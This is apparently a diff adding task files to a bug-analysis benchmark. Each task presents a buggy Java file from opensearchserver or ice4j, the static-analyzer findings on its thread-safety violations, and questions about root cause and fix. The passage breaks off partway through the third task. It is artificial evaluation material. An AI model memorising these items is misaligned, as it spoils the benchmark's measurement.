+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-10484/instruction.md b/inferredbugs-10484/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..1d2b5ef1f820fa1bac964095d81a445c1d40036d
--- /dev/null
+++ b/inferredbugs-10484/instruction.md
@@ -0,0 +1,233 @@
+# InferredBugs Task - Java
+
+## Project Information
+
+**Project:** opensearchserver
+**Bug ID:** 8
+**Language:** java
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```java
+/**   
+ * License Agreement for Jaeksoft SearchLib Community
+ *
+ * Copyright (C) 2008-2009 Emmanuel Keller / Jaeksoft
+ * 
+ * http://www.jaeksoft.com
+ * 
+ * This file is part of Jaeksoft SearchLib Community.
+ *
+ * Jaeksoft SearchLib Community is free software: you can redistribute it and/or
+ * modify it under the terms of the GNU General Public License as published by
+ * the Free Software Foundation, either version 3 of the License, or
+ *  (at your option) any later version.
+ *
+ * Jaeksoft SearchLib Community is distributed in the hope that it will be useful,
+ * but WITHOUT ANY WARRANTY; without even the implied warranty of
+ * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+ * GNU General Public License for more details.
+ *
+ *  You should have received a copy of the GNU General Public License
+ *  along with Jaeksoft SearchLib Community. 
+ *  If not, see <http://www.gnu.org/licenses/>.
+ **/
+
+package com.jaeksoft.searchlib.web.controller.query;
+
+import java.util.ArrayList;
+import java.util.List;
+
+import org.zkoss.zk.ui.event.Event;
+import org.zkoss.zk.ui.event.EventListener;
+import org.zkoss.zul.Button;
+import org.zkoss.zul.Label;
+import org.zkoss.zul.Listbox;
+import org.zkoss.zul.Row;
+import org.zkoss.zul.RowRenderer;
+import org.zkoss.zul.api.Listitem;
+
+import com.jaeksoft.searchlib.SearchLibException;
+import com.jaeksoft.searchlib.schema.FieldList;
+import com.jaeksoft.searchlib.schema.SchemaField;
+import com.jaeksoft.searchlib.sort.SortField;
+
+public class SortedController extends QueryController implements RowRenderer {
+
+	/**
+	 * 
+	 */
+	private static final long serialVersionUID = -6525895947880411384L;
+
+	private String selectedSort = null;
+
+	private List<String> sortFieldLeft = null;
+
+	public SortedController() throws SearchLibException {
+		super();
+	}
+
+	public void setSelectedSort(String value) {
+		synchronized (this) {
+			selectedSort = value;
+		}
+	}
+
+	public String getSelectedSort() {
+		synchronized (this) {
+			return selectedSort;
+		}
+	}
+
+	public void onSortAdd() throws SearchLibException {
+		synchronized (this) {
+			if (selectedSort == null)
+				return;
+			getRequest().getSortList().add(new SortField(selectedSort, true));
+			reloadPage();
+		}
+	}
+
+	public void onSortRemove(Event event) throws SearchLibException {
+		synchronized (this) {
+			SortField sortField = (SortField) event.getData();
+			getRequest().getSortList().remove(sortField);
+			reloadPage();
+		}
+	}
+
+	public boolean isFieldLeft() throws SearchLibException {
+		synchronized (this) {
+			return getSortFieldLeft().size() > 0;
+		}
+	}
+
+	public List<String> getSortFieldLeft() throws SearchLibException {
+		synchronized (this) {
+			if (sortFieldLeft != null)
+				return sortFieldLeft;
+			sortFieldLeft = new ArrayList<String>();
+			FieldList<SortField> sortFields = getRequest().getSortList()
+					.getFieldList();
+			for (SchemaField field : getClient().getSchema().getFieldList())
+				if (field.isIndexed())
+					if (sortFields.get(field.getName()) == null) {
+						if (selectedSort == null)
+							selectedSort = field.getName();
+						sortFieldLeft.add(field.getName());
+					}
+			if (sortFields.get("score") == null) {
+				sortFieldLeft.add("score");
+				if (selectedSort == null)
+					selectedSort = "score";
+			}
+			return sortFieldLeft;
+		}
+	}
+
+	@Override
+	protected void reloadPage() {
+		selectedSort = null;
+		sortFieldLeft = null;
+		super.reloadPage();
+	}
+
+	public class DirectionListener implements EventListener {
+
+		protected SortField sortField;
+
+		public DirectionListener(SortField sortField) {
+			this.sortField = sortField;
+		}
+
+		@Override
+		public void onEvent(Event event) throws Exception {
+			Listbox listbox = (Listbox) event.getTarget();
+			Listitem listitem = listbox.getSelectedItem();
+			if (listitem != null)
+				sortField.setDesc(listitem.getValue().toString());
+		}
+
+	}
+
+	@Override
+	public void render(Row row, Object data) throws Exception {
+		SortField sortField = (SortField) data;
+		new Label(sortField.getName()).setParent(row);
+		Listbox listbox = new Listbox();
+		listbox.setMold("select");
+		listbox.appendItem("ascendant", "+");
+		listbox.appendItem("descendant", "-");
+		listbox.setSelectedIndex(sortField.isDesc() ? 1 : 0);
+		listbox.addEventListener("onSelect", new DirectionListener(sortField));
+		listbox.setParent(row);
+		Button button = new Button("Remove");
+		button.addForward(null, "query", "onSortRemove", sortField);
+		button.setParent(row);
+	}
+
+}
+
+```
+
+### Bug Class:
+PROVER
+
+### Kind:
+ERROR
+
+### Bug Type:
+THREAD_SAFETY_VIOLATION
+
+### Qualifier:
+Unprotected write. Non-private method `com.jaeksoft.searchlib.web.controller.query.SortedController.reloadPage` writes to field `this.com.jaeksoft.searchlib.web.controller.query.SortedController.sortFieldLeft` outside of synchronization.
+ Reporting because another access to the same memory occurs on a background thread, although this access may not.
+
+### Severity:
+HIGH
+
+### Visibility:
+user
+
+### Procedure:
+void SortedController.reloadPage()
+
+### Procedure Id:
+com.jaeksoft.searchlib.web.controller.query.SortedController.reloadPage():void.e658ef751a5f9f9d7161eedcaa9b0e07
+
+### File:
+src/java/com/jaeksoft/searchlib/web/controller/query/SortedController.java
+
+### Key:
+SortedController.java|reloadPage|THREAD_SAFETY_VIOLATION
+
+### Node Key:
+9c5d6d9028928346cc4fb44cced5dea1
+
+### Hash:
+b63ba6db4fe0a0a021b3458ac46a2c5a
+
+### Bug Type Hum:
+Thread Safety Violation
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-10485/instruction.md b/inferredbugs-10485/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..70cb9cf7a6269ae360494528bf21bcf8eda1ba88
--- /dev/null
+++ b/inferredbugs-10485/instruction.md
@@ -0,0 +1,663 @@
+# InferredBugs Task - Java
+
+## Project Information
+
+**Project:** opensearchserver
+**Bug ID:** 21
+**Language:** java
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```java
+/**   
+ * License Agreement for Jaeksoft OpenSearchServer
+ *
+ * Copyright (C) 2008-2009 Emmanuel Keller / Jaeksoft
+ * 
+ * http://www.jaeksoft.com
+ * 
+ * This file is part of Jaeksoft OpenSearchServer.
+ *
+ * Jaeksoft OpenSearchServer is free software: you can redistribute it and/or
+ * modify it under the terms of the GNU General Public License as published by
+ * the Free Software Foundation, either version 3 of the License, or
+ *  (at your option) any later version.
+ *
+ * Jaeksoft OpenSearchServer is distributed in the hope that it will be useful,
+ * but WITHOUT ANY WARRANTY; without even the implied warranty of
+ * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+ * GNU General Public License for more details.
+ *
+ *  You should have received a copy of the GNU General Public License
+ *  along with Jaeksoft OpenSearchServer. 
+ *  If not, see <http://www.gnu.org/licenses/>.
+ **/
+
+package com.jaeksoft.searchlib.crawler.web.database;
+
+import java.io.File;
+import java.io.FileNotFoundException;
+import java.io.IOException;
+import java.net.URISyntaxException;
+import java.security.NoSuchAlgorithmException;
+import java.text.DecimalFormat;
+import java.text.SimpleDateFormat;
+import java.util.ArrayList;
+import java.util.Collection;
+import java.util.Date;
+import java.util.Iterator;
+import java.util.List;
+
+import org.apache.lucene.index.CorruptIndexException;
+import org.apache.lucene.queryParser.ParseException;
+import org.apache.lucene.store.LockObtainFailedException;
+
+import com.jaeksoft.searchlib.Client;
+import com.jaeksoft.searchlib.SearchLibException;
+import com.jaeksoft.searchlib.crawler.web.database.InjectUrlItem.Status;
+import com.jaeksoft.searchlib.crawler.web.spider.Crawl;
+import com.jaeksoft.searchlib.facet.Facet;
+import com.jaeksoft.searchlib.facet.FacetField;
+import com.jaeksoft.searchlib.facet.FacetItem;
+import com.jaeksoft.searchlib.filter.Filter.Source;
+import com.jaeksoft.searchlib.function.expression.SyntaxError;
+import com.jaeksoft.searchlib.index.IndexDocument;
+import com.jaeksoft.searchlib.request.SearchRequest;
+import com.jaeksoft.searchlib.result.Result;
+import com.jaeksoft.searchlib.result.ResultDocument;
+
+public class UrlManager {
+
+	public enum Field {
+
+		URL("url"), WHEN("when"), CONTENTBASETYPE("contentBaseType"), CONTENTTYPECHARSET(
+				"contentTypeCharset"), CONTENTENCODING("contentEncoding"), CONTENTLENGTH(
+				"contentLength"), LANG("lang"), LANGMETHOD("langMethod"), ROBOTSTXTSTATUS(
+				"robotsTxtStatus"), FETCHSTATUS("fetchStatus"), RESPONSECODE(
+				"responseCode"), PARSERSTATUS("parserStatus"), INDEXSTATUS(
+				"indexStatus"), HOST("host");
+
+		private String name;
+
+		private Field(String name) {
+			this.name = name;
+		}
+
+		private void addFilterQuery(SearchRequest request, Object value)
+				throws ParseException {
+			StringBuffer sb = new StringBuffer();
+			addQuery(sb, value);
+			request.addFilter(sb.toString());
+		}
+
+		private void addFilterRange(SearchRequest request, Object from,
+				Object to) throws ParseException {
+			StringBuffer sb = new StringBuffer();
+			addQueryRange(sb, from, to);
+			request.addFilter(sb.toString());
+		}
+
+		private void addQuery(StringBuffer sb, Object value) {
+			sb.append(" ");
+			sb.append(name);
+			sb.append(":");
+			sb.append(value);
+		}
+
+		private void addQueryRange(StringBuffer sb, Object from, Object to) {
+			sb.append(" ");
+			sb.append(name);
+			sb.append(":[");
+			sb.append(from);
+			sb.append(" TO ");
+			sb.append(to);
+			sb.append("]");
+		}
+
+		@Override
+		public String toString() {
+			return name;
+		}
+
+	}
+
+	private Client client;
+
+	public UrlManager(File dataDir) throws SearchLibException,
+			URISyntaxException, FileNotFoundException {
+		dataDir = new File(dataDir, "web_crawler_url");
+		if (!dataDir.exists())
+			dataDir.mkdir();
+		this.client = new Client(dataDir, "/url_config.xml", true);
+	}
+
+	public Client getClient() {
+		return client;
+	}
+
+	public void injectPrefix(List<PatternItem> patternList)
+			throws SearchLibException {
+		Iterator<PatternItem> it = patternList.iterator();
+		List<InjectUrlItem> urlList = new ArrayList<InjectUrlItem>();
+		while (it.hasNext()) {
+			PatternItem item = it.next();
+			if (item.getStatus() == PatternItem.Status.INJECTED)
+				urlList.add(new InjectUrlItem(item));
+		}
+		inject(urlList);
+	}
+
+	public void deleteUrl(String sUrl) throws SearchLibException {
+		try {
+			client.deleteDocument(sUrl);
+		} catch (CorruptIndexException e) {
+			throw new SearchLibException(e);
+		} catch (LockObtainFailedException e) {
+			throw new SearchLibException(e);
+		} catch (IOException e) {
+			throw new SearchLibException(e);
+		} catch (URISyntaxException e) {
+			throw new SearchLibException(e);
+		} catch (InstantiationException e) {
+			throw new SearchLibException(e);
+		} catch (IllegalAccessException e) {
+			throw new SearchLibException(e);
+		} catch (ClassNotFoundException e) {
+			throw new SearchLibException(e);
+		}
+	}
+
+	public void deleteUrls(Collection<String> workDeleteUrlList)
+			throws SearchLibException {
+		try {
+			client.deleteDocuments(workDeleteUrlList);
+		} catch (CorruptIndexException e) {
+			throw new SearchLibException(e);
+		} catch (LockObtainFailedException e) {
+			throw new SearchLibException(e);
+		} catch (IOException e) {
+			throw new SearchLibException(e);
+		} catch (URISyntaxException e) {
+			throw new SearchLibException(e);
+		} catch (InstantiationException e) {
+			throw new SearchLibException(e);
+		} catch (IllegalAccessException e) {
+			throw new SearchLibException(e);
+		} catch (ClassNotFoundException e) {
+			throw new SearchLibException(e);
+		}
+	}
+
+	public boolean exists(String sUrl) throws SearchLibException {
+		SearchRequest request = getUrlSearchRequest();
+		request.setQueryString("url:\"" + sUrl + '"');
+		return (getUrls(request, null, false, 0, 0, null) > 0);
+	}
+
+	public void inject(List<InjectUrlItem> list) throws SearchLibException {
+		synchronized (this) {
+			try {
+				List<IndexDocument> injectList = new ArrayList<IndexDocument>();
+				for (InjectUrlItem item : list) {
+					if (exists(item.getUrl()))
+						item.setStatus(InjectUrlItem.Status.ALREADY);
+					else
+						injectList.add(item.getIndexDocument());
+				}
+				if (injectList.size() == 0)
+					return;
+				client.updateDocuments(injectList);
+				int injected = 0;
+				for (InjectUrlItem item : list) {
+					if (item.getStatus() == Status.UNDEFINED) {
+						item.setStatus(Status.INJECTED);
+						injected++;
+					}
+				}
+				if (injected > 0)
+					client.reload(null);
+			} catch (NoSuchAlgorithmException e) {
+				throw new SearchLibException(e);
+			} catch (IOException e) {
+				throw new SearchLibException(e);
+			} catch (URISyntaxException e) {
+				throw new SearchLibException(e);
+			} catch (InstantiationException e) {
+				throw new SearchLibException(e);
+			} catch (IllegalAccessException e) {
+				throw new SearchLibException(e);
+			} catch (ClassNotFoundException e) {
+				throw new SearchLibException(e);
+			}
+		}
+	}
+
+	private void filterQueryToFetchOld(SearchRequest request,
+			Date fetchIntervalDate) throws ParseException {
+		StringBuffer query = new StringBuffer();
+		query.append("when:[00000000000000 TO ");
+		query.append(UrlItem.getWhenDateFormat().format(fetchIntervalDate));
+		query.append("]");
+		request.addFilter(query.toString());
+	}
+
+	private void filterQueryToFetchNew(SearchRequest request)
+			throws ParseException {
+		StringBuffer query = new StringBuffer();
+		query.append("fetchStatus:");
+		query.append(FetchStatus.UN_FETCHED.value);
+		request.addFilter(query.toString());
+	}
+
+	public Date getPastDate(int fetchInterval) {
+		return new Date(System.currentTimeMillis() - (long) fetchInterval
+				* 1000 * 86400);
+	}
+
+	private void getFacetLimit(Field field, SearchRequest searchRequest,
+			int limit, List<NamedItem> list) throws IOException,
+			ParseException, SyntaxError, URISyntaxException,
+			ClassNotFoundException, InterruptedException, SearchLibException,
+			InstantiationException, IllegalAccessException {
+		Result result = client.search(searchRequest);
+		Facet facet = result.getFacetList().getByField(field.name);
+		for (FacetItem facetItem : facet) {
+			if (limit-- == 0)
+				break;
+			if (facetItem.getCount() == 0)
+				continue;
+			String term = facetItem.getTerm();
+			if (term == null)
+				continue;
+			if (term.length() == 0)
+				continue;
+			synchronized (list) {
+				list.add(new NamedItem(term, facetItem.getCount()));
+			}
+		}
+
+	}
+
+	private SearchRequest getHostFacetSearchRequest() {
+		SearchRequest searchRequest = client.getNewSearchRequest();
+		searchRequest.setDefaultOperator("OR");
+		searchRequest.setRows(0);
+		searchRequest.getFacetFieldList().add(new FacetField("host", 1, false));
+		return searchRequest;
+	}
+
+	private SearchRequest getUrlSearchRequest() throws SearchLibException {
+		SearchRequest searchRequest = client.getNewSearchRequest();
+		searchRequest.setDefaultOperator("OR");
+		searchRequest.setRows(0);
+		searchRequest.addReturnField("url");
+		searchRequest.addReturnField("host");
+		searchRequest.addReturnField("contentBaseType");
+		searchRequest.addReturnField("contentTypeCharset");
+		searchRequest.addReturnField("contentEncoding");
+		searchRequest.addReturnField("contentLength");
+		searchRequest.addReturnField("lang");
+		searchRequest.addReturnField("langMethod");
+		searchRequest.addReturnField("when");
+		searchRequest.addReturnField("responseCode");
+		searchRequest.addReturnField("robotsTxtStatus");
+		searchRequest.addReturnField("parserStatus");
+		searchRequest.addReturnField("fetchStatus");
+		searchRequest.addReturnField("indexStatus");
+		return searchRequest;
+	}
+
+	public void getOldHostToFetch(Date fetchIntervalDate, int limit,
+			List<NamedItem> hostList) throws SearchLibException,
+			ParseException, IOException, SyntaxError, URISyntaxException,
+			ClassNotFoundException, InterruptedException,
+			InstantiationException, IllegalAccessException {
+		SearchRequest searchRequest = getHostFacetSearchRequest();
+		searchRequest.setQueryString("*:*");
+		filterQueryToFetchOld(searchRequest, fetchIntervalDate);
+		getFacetLimit(Field.HOST, searchRequest, limit, hostList);
+	}
+
+	public void getNewHostToFetch(int limit, List<NamedItem> hostList)
+			throws SearchLibException, ParseException, IOException,
+			SyntaxError, URISyntaxException, ClassNotFoundException,
+			InterruptedException, InstantiationException,
+			IllegalAccessException {
+		SearchRequest searchRequest = getHostFacetSearchRequest();
+		searchRequest.setQueryString("*:*");
+		filterQueryToFetchNew(searchRequest);
+		getFacetLimit(Field.HOST, searchRequest, limit, hostList);
+	}
+
+	public void getStartingWith(String queryString, Field field, String start,
+			int limit, List<NamedItem> list) throws ParseException,
+			IOException, SyntaxError, URISyntaxException,
+			ClassNotFoundException, InterruptedException, SearchLibException,
+			InstantiationException, IllegalAccessException {
+		SearchRequest searchRequest = client.getNewSearchRequest(field
+				+ "Facet");
+		searchRequest.setQueryString(queryString);
+		searchRequest.getFilterList().add(field + ":" + start + "*",
+				Source.REQUEST);
+		getFacetLimit(field, searchRequest, limit, list);
+	}
+
+	public void getOldUrlToFetch(NamedItem host, Date fetchIntervalDate,
+			long limit, List<UrlItem> urlList) throws SearchLibException,
+			ParseException, IOException, SyntaxError, URISyntaxException,
+			ClassNotFoundException, InterruptedException,
+			InstantiationException, IllegalAccessException {
+		SearchRequest searchRequest = client.getNewSearchRequest("urlSearch");
+		searchRequest.addFilter("host:\""
+				+ SearchRequest.escapeQuery(host.getName()) + "\"");
+		searchRequest.setQueryString("*:*");
+		filterQueryToFetchOld(searchRequest, fetchIntervalDate);
+		searchRequest.setRows((int) limit);
+		Result result = client.search(searchRequest);
+		for (ResultDocument item : result)
+			urlList.add(new UrlItem(item));
+	}
+
+	public void getNewUrlToFetch(NamedItem host, long limit,
+			List<UrlItem> urlList) throws SearchLibException, ParseException,
+			IOException, SyntaxError, URISyntaxException,
+			ClassNotFoundException, InterruptedException,
+			InstantiationException, IllegalAccessException {
+		SearchRequest searchRequest = client.getNewSearchRequest("urlSearch");
+		searchRequest.addFilter("host:\""
+				+ SearchRequest.escapeQuery(host.getName()) + "\"");
+		searchRequest.setQueryString("*:*");
+		filterQueryToFetchNew(searchRequest);
+		searchRequest.setRows((int) limit);
+		Result result = client.search(searchRequest);
+		for (ResultDocument item : result)
+			urlList.add(new UrlItem(item));
+	}
+
+	public SearchRequest urlQuery(String like, String host, String lang,
+			String langMethod, String contentBaseType,
+			String contentTypeCharset, String contentEncoding,
+			Integer minContentLength, Integer maxContentLength,
+			RobotsTxtStatus robotsTxtStatus, FetchStatus fetchStatus,
+			Integer responseCode, ParserStatus parserStatus,
+			IndexStatus indexStatus, Date startDate, Date endDate)
+			throws SearchLibException {
+		try {
+			SearchRequest searchRequest = client
+					.getNewSearchRequest("urlSearch");
+			StringBuffer query = new StringBuffer();
+			if (like != null) {
+				like = like.trim();
+				if (like.length() > 0) {
+					Field.URL.addQuery(query, SearchRequest.escapeQuery(like));
+					query.append("*");
+				}
+			}
+			if (host != null) {
+				host = host.trim();
+				if (host.length() > 0)
+					Field.HOST.addFilterQuery(searchRequest, SearchRequest
+							.escapeQuery(host));
+			}
+			if (lang != null) {
+				lang = lang.trim();
+				if (lang.length() > 0)
+					Field.LANG.addFilterQuery(searchRequest, SearchRequest
+							.escapeQuery(lang));
+			}
+			if (langMethod != null) {
+				langMethod = langMethod.trim();
+				if (langMethod.length() > 0)
+					Field.LANGMETHOD.addFilterQuery(searchRequest,
+							SearchRequest.escapeQuery(langMethod));
+			}
+			if (contentBaseType != null) {
+				contentBaseType = contentBaseType.trim();
+				if (contentBaseType.length() > 0)
+					Field.CONTENTBASETYPE.addFilterQuery(searchRequest,
+							SearchRequest.escapeQuery(contentBaseType));
+			}
+			if (contentTypeCharset != null) {
+				contentTypeCharset = contentTypeCharset.trim();
+				if (contentTypeCharset.length() > 0)
+					Field.CONTENTTYPECHARSET.addFilterQuery(searchRequest,
+							SearchRequest.escapeQuery(contentTypeCharset));
+			}
+			if (contentEncoding != null) {
+				contentEncoding = contentEncoding.trim();
+				if (contentEncoding.length() > 0)
+					Field.CONTENTENCODING.addFilterQuery(searchRequest,
+							SearchRequest.escapeQuery(contentEncoding));
+			}
+
+			if (robotsTxtStatus != null
+					&& robotsTxtStatus != RobotsTxtStatus.ALL)
+				Field.ROBOTSTXTSTATUS.addFilterQuery(searchRequest,
+						robotsTxtStatus.value);
+			if (responseCode != null)
+				Field.RESPONSECODE.addFilterQuery(searchRequest, responseCode);
+			if (fetchStatus != null && fetchStatus != FetchStatus.ALL)
+				Field.FETCHSTATUS.addFilterQuery(searchRequest,
+						fetchStatus.value);
+			if (parserStatus != null && parserStatus != ParserStatus.ALL)
+				Field.PARSERSTATUS.addFilterQuery(searchRequest,
+						parserStatus.value);
+			if (indexStatus != null && indexStatus != IndexStatus.ALL)
+				Field.INDEXSTATUS.addFilterQuery(searchRequest,
+						indexStatus.value);
+
+			if (minContentLength != null || maxContentLength != null) {
+				String from, to;
+				DecimalFormat df = UrlItem.getContentLengthFormat();
+				if (minContentLength == null)
+					from = df.format(0);
+				else
+					from = df.format(minContentLength);
+				if (maxContentLength == null)
+					to = df.format(Integer.MAX_VALUE);
+				else
+					to = df.format(maxContentLength);
+				Field.CONTENTLENGTH.addQueryRange(query, from, to);
+			}
+
+			if (startDate != null || endDate != null) {
+				String from, to;
+				SimpleDateFormat df = UrlItem.getWhenDateFormat();
+				if (startDate == null)
+					from = "00000000000000";
+				else
+					from = df.format(startDate);
+				if (endDate == null)
+					to = "99999999999999";
+				else
+					to = df.format(endDate);
+				Field.WHEN.addFilterRange(searchRequest, from, to);
+			}
+
+			if (query.length() == 0)
+				query.append("*:*");
+			searchRequest.setQueryString(query.toString().trim());
+			return searchRequest;
+		} catch (ParseException e) {
+			throw new SearchLibException(e);
+		}
+	}
+
+	public long getUrls(SearchRequest searchRequest, Field orderBy,
+			boolean orderAsc, long start, long rows, List<UrlItem> list)
+			throws SearchLibException {
+		searchRequest.setStart((int) start);
+		searchRequest.setRows((int) rows);
+		try {
+			if (orderBy != null)
+				searchRequest.addSort(orderBy.name, !orderAsc);
+			Result result = client.search(searchRequest);
+			if (list != null)
+				for (ResultDocument doc : result)
+					list.add(new UrlItem(doc));
+			return result.getNumFound();
+		} catch (ParseException e) {
+			throw new SearchLibException(e);
+		} catch (IOException e) {
+			throw new SearchLibException(e);
+		} catch (RuntimeException e) {
+			throw new SearchLibException(e);
+		} catch (SyntaxError e) {
+			throw new SearchLibException(e);
+		} catch (URISyntaxException e) {
+			throw new SearchLibException(e);
+		} catch (ClassNotFoundException e) {
+			throw new SearchLibException(e);
+		} catch (InterruptedException e) {
+			throw new SearchLibException(e);
+		} catch (InstantiationException e) {
+			throw new SearchLibException(e);
+		} catch (IllegalAccessException e) {
+			throw new SearchLibException(e);
+		}
+	}
+
+	public void reload(boolean optimize) throws IOException,
+			URISyntaxException, SearchLibException, InstantiationException,
+			IllegalAccessException, ClassNotFoundException {
+		if (optimize) {
+			client.reload(null);
+			client.getIndex().optimize(null);
+		}
+		client.reload(null);
+	}
+
+	public void updateDocument(UrlItem urlItem) throws SearchLibException {
+		try {
+			IndexDocument indexDocument = new IndexDocument();
+			urlItem.populate(indexDocument);
+			client.updateDocument(indexDocument);
+		} catch (NoSuchAlgorithmException e) {
+			throw new SearchLibException(e);
+		} catch (IOException e) {
+			throw new SearchLibException(e);
+		} catch (URISyntaxException e) {
+			throw new SearchLibException(e);
+		} catch (InstantiationException e) {
+			throw new SearchLibException(e);
+		} catch (IllegalAccessException e) {
+			throw new SearchLibException(e);
+		} catch (ClassNotFoundException e) {
+			throw new SearchLibException(e);
+		}
+	}
+
+	public void updateCrawls(List<Crawl> crawls) throws SearchLibException {
+		try {
+			List<IndexDocument> documents = new ArrayList<IndexDocument>(crawls
+					.size());
+			for (Crawl crawl : crawls) {
+				IndexDocument indexDocument = new IndexDocument();
+				crawl.getUrlItem().populate(indexDocument);
+				documents.add(indexDocument);
+			}
+			client.updateDocuments(documents);
+		} catch (NoSuchAlgorithmException e) {
+			throw new SearchLibException(e);
+		} catch (IOException e) {
+			throw new SearchLibException(e);
+		} catch (URISyntaxException e) {
+			throw new SearchLibException(e);
+		} catch (InstantiationException e) {
+			throw new SearchLibException(e);
+		} catch (IllegalAccessException e) {
+			throw new SearchLibException(e);
+		} catch (ClassNotFoundException e) {
+			throw new SearchLibException(e);
+		}
+	}
+
+	public void updateUrlItems(List<UrlItem> urlItems)
+			throws SearchLibException {
+		try {
+			List<IndexDocument> documents = new ArrayList<IndexDocument>(
+					urlItems.size());
+			for (UrlItem urlItem : urlItems) {
+				IndexDocument indexDocument = new IndexDocument();
+				urlItem.populate(indexDocument);
+				documents.add(indexDocument);
+			}
+			client.updateDocuments(documents);
+		} catch (NoSuchAlgorithmException e) {
+			throw new SearchLibException(e);
+		} catch (IOException e) {
+			throw new SearchLibException(e);
+		} catch (URISyntaxException e) {
+			throw new SearchLibException(e);
+		} catch (InstantiationException e) {
+			throw new SearchLibException(e);
+		} catch (IllegalAccessException e) {
+			throw new SearchLibException(e);
+		} catch (ClassNotFoundException e) {
+			throw new SearchLibException(e);
+		}
+	}
+}
+```
+
+### Bug Class:
+PROVER
+
+### Kind:
+ERROR
+
+### Bug Type:
+THREAD_SAFETY_VIOLATION
+
+### Qualifier:
+Unprotected write. Non-private method `com.jaeksoft.searchlib.crawler.web.database.UrlManager.updateUrlItems` indirectly writes to field `this.com.jaeksoft.searchlib.crawler.web.database.UrlManager.client.com.jaeksoft.searchlib.config.Config.statisticsList` outside of synchronization.
+ Reporting because another access to the same memory occurs on a background thread, although this access may not.
+
+### Severity:
+HIGH
+
+### Visibility:
+user
+
+### Procedure:
+void UrlManager.updateUrlItems(List)
+
+### Procedure Id:
+com.jaeksoft.searchlib.crawler.web.database.UrlManager.updateUrlItems(java.util.List):void.e47609fe5d48a705a9550837864708ca
+
+### File:
+src/java/com/jaeksoft/searchlib/crawler/web/database/UrlManager.java
+
+### Key:
+UrlManager.java|updateUrlItems|THREAD_SAFETY_VIOLATION
+
+### Node Key:
+9c5d6d9028928346cc4fb44cced5dea1
+
+### Hash:
+619095c5243900c3f55529fee0e2bb66
+
+### Bug Type Hum:
+Thread Safety Violation
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-10535/instruction.md b/inferredbugs-10535/instruction.md
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+++ b/inferredbugs-10535/instruction.md
@@ -0,0 +1,723 @@
+# InferredBugs Task - Java
+
+## Project Information
+
+**Project:** ice4j
+**Bug ID:** 5
+**Language:** java
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```java
+/*
+ * ice4j, the OpenSource Java Solution for NAT and Firewall Traversal.
+ * Maintained by the SIP Communicator community (http://sip-communicator.org).
+ *
+ * Distributable under LGPL license.
+ * See terms of license at gnu.org.
+ */
+package org.ice4j.ice.harvest;
+
+import java.io.*;
+import java.net.*;
+import java.util.*;
+import java.util.logging.*;
+
+import org.ice4j.*;
+import org.ice4j.ice.*;
+import org.ice4j.socket.*;
+
+/**
+ * A <tt>HostCandidateHarvester</tt> gathers host <tt>Candidate</tt>s for a
+ * specified {@link org.ice4j.ice.Component}. Most <tt>CandidateHarvester</tt>s
+ * would rely on the output of the host harvester, that is all host addresses,
+ * to be already present and bound in a <tt>Component</tt> before being able to
+ * harvest the type of addresses that they are responsible for.
+ *
+ * @author Emil Ivov
+ * @author George Politis
+ */
+public class HostCandidateHarvester
+{
+    /**
+     * Our class logger.
+     */
+    private static final Logger logger
+        = Logger.getLogger(HostCandidateHarvester.class.getName());
+
+    /**
+     * Manages statistics about harvesting time.
+     */
+    private HarvestStatistics harvestStatistics = new HarvestStatistics();
+
+    /**
+     * Holds the list of allowed interfaces. It's either a non-empty array or
+     * null.
+     */
+    private static String[] allowedInterfaces;
+
+    /**
+     * Holds the list of blocked interfaces. It's either a non-empty array or
+     * null.
+     */
+    private static String[] blockedInterfaces;
+
+    /**
+     * A boolean value that indicates whether the host candidate interface
+     * filters have been initialized or not.
+     */
+    private static boolean interfaceFiltersinitialized = false;
+
+    /**
+     * Gets the array of allowed interfaces.
+     *
+     * @return the non-empty String array of allowed interfaces or null.
+     */
+    public static String[] getAllowedInterfaces(){
+        if (!interfaceFiltersinitialized)
+        {
+            try
+            {
+                initializeInterfaceFilters();
+            }
+            catch (Exception e)
+            {
+                logger.log(Level.WARNING, "There were errors during host " +
+                        "candidate interface filters initialization.", e);
+            }
+        }
+
+        return allowedInterfaces;
+    }
+
+    /**
+     * Gets the array of blocked interfaces.
+     *
+     * @return the non-empty String array of blocked interfaces or null.
+     */
+    public static String[] getBlockedInterfaces() {
+        if (!interfaceFiltersinitialized)
+        {
+            try
+            {
+                initializeInterfaceFilters();
+            }
+            catch (Exception e)
+            {
+                logger.log(Level.WARNING, "There were errors during host " +
